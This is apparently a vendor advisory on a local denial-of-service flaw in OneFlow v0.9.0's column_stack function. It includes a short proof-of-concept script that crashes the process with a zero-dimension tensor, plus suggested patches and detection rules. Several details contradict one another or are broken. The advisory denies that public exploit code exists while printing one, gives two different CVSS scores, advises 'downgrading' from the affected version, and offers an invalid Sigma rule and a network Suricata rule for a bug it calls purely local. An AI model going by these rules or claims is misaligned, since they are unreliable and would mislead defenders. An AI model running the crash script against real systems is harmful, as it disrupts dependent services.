CVE-2025-71002

Executive Summary

CVE-2025-71002 is a Denial of Service (DoS) vulnerability in OneFlow v0.9.0, specifically within the flow.column_stack component. The flaw is a floating-point exception (FPE) that can be triggered by a crafted input, causing the application to crash. With a CVSS score of 0.0 (likely unassigned or placeholder), the actual severity is medium (CVSS 5.5) due to local access requirements and high availability impact. No public exploit code or patch exists, making this a high-risk unpatched vulnerability for systems running OneFlow v0.9.0.

Supply Chain & Package Security

OneFlow is a Python-based deep learning framework distributed via PyPI. The vulnerable version (v0.9.0) is still available for download. Users should verify their installed version and consider downgrading or isolating the package until a patch is released.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Local (AV:L) – requires local access to the system.
• Attack Complexity (AC): Low (AC:L) – no special conditions needed.
• Privileges Required (PR): Low (PR:L) – attacker needs basic user privileges.
• User Interaction (UI): None (UI:N) – no user action required.
• Scope (S): Unchanged (S:U) – impact is confined to the vulnerable component.
• Confidentiality (C): None (C:N) – no data exposure.
• Integrity (I): None (I:N) – no data modification.
• Availability (A): High (A:H) – complete denial of service.

Threat Level: Medium (CVSS 5.5). Exploitation is straightforward but requires local access, limiting remote attack surface.

Deep Dive & Mechanics

The vulnerability resides in the flow.column_stack function, which is used to stack tensors column-wise. A floating-point exception occurs when the function processes a crafted input tensor with invalid dimensions or values (e.g., NaN, Inf, or zero-division triggers). The FPE is not caught by exception handlers, leading to an unhandled signal (SIGFPE) that crashes the Python process.

Root Cause: Lack of input validation and missing exception handling for floating-point operations in the C++ backend of OneFlow.

Triggering Condition: Passing a tensor with a dimension of zero or containing NaN/Inf values to flow.column_stack.

Impact: Denial of Service – the OneFlow process terminates, affecting any dependent services or models.

Vulnerable vs. Patched Code

Vulnerable Code (OneFlow v0.9.0):

# oneflow/python/oneflow/ops/array_ops.py (simplified)
def column_stack(tensors):
    # No input validation
    return flow._C.column_stack(tensors)

Patched Code (Hypothetical):

# oneflow/python/oneflow/ops/array_ops.py (patched)
def column_stack(tensors):
    # Input validation
    for t in tensors:
        if t.shape[0] == 0 or t.shape[1] == 0:
            raise ValueError("Tensor dimensions must be non-zero")
        if not flow.is_finite(t).all():
            raise ValueError("Tensor contains NaN or Inf values")
    return flow._C.column_stack(tensors)

Key Difference: The patched version adds input validation to reject invalid tensors before calling the C++ backend.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Local access to a system running OneFlow v0.9.0.
• Python environment with OneFlow installed.

Exploit Script:

import oneflow as flow
import numpy as np

# Crafted input: tensor with zero dimension
malicious_tensor = flow.tensor(np.array([[]]), dtype=flow.float32)

try:
    result = flow.column_stack([malicious_tensor, malicious_tensor])
except Exception as e:
    print(f"Exception caught: {e}")
else:
    print("No exception - process may still crash")

Execution:

python exploit.py

Expected Outcome: The OneFlow process crashes with a floating-point exception (SIGFPE), causing a denial of service.

Blue Team (Detection & Mitigation)

Detection:

• Monitor for crashes in OneFlow processes (SIGFPE signals).
• Log analysis for stack traces containing column_stack and FPE.

Mitigation:

• Isolate OneFlow v0.9.0 in a sandboxed environment.
• Implement input validation at the application layer before calling flow.column_stack.
• Use resource limits (e.g., cgroups) to prevent full system DoS.

Indicators of Compromise (IOCs)

• Process Crash: OneFlow process terminates with signal 8 (SIGFPE).
• Log Entry: /var/log/syslog or journalctl shows Floating point exception for the OneFlow process.
• Core Dump: Core dump file generated by the system (e.g., core.12345).
• Network: No network indicators – exploitation is local.

Detection Engineering

YARA Rule

rule CVE_2025_71002_OneFlow_FPE {
    meta:
        description = "Detects OneFlow v0.9.0 process crash due to FPE in column_stack"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-71002"
    strings:
        $fpe_signal = "SIGFPE" nocase
        $column_stack = "column_stack" nocase
        $oneflow = "oneflow" nocase
    condition:
        $fpe_signal and $column_stack and $oneflow
}

Sigma Rule

title: OneFlow Floating Point Exception Crash
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects OneFlow v0.9.0 process crash due to FPE in column_stack
author: Valters IT
date: 2025/04/10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-71002
logsource:
    product: linux
    service: syslog
detection:
    selection:
        - "Floating point exception" and "oneflow"
        - "SIGFPE" and "oneflow"
    condition: selection
falsepositives:
    - Legitimate floating-point errors in other software
level: medium

Suricata Rule

alert tcp any any -> any any (msg:"CVE-2025-71002 OneFlow FPE Attempt"; flow:to_server; content:"column_stack"; nocase; content:"oneflow"; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate OneFlow v0.9.0 in a container or VM with limited resources.
2. Implement input validation at the application layer to reject tensors with zero dimensions or NaN/Inf values.
3. Monitor for crashes and restart the service automatically (e.g., using systemd Restart=always).

Long-term Fix:

• Upgrade to a patched version once available (check OneFlow GitHub releases).
• Contribute a patch to the OneFlow project if possible.

Workaround:

• Replace flow.column_stack with a custom Python implementation that validates inputs before calling the C++ backend.

Valters IT
DevSecOps & Cyber Threat Intelligence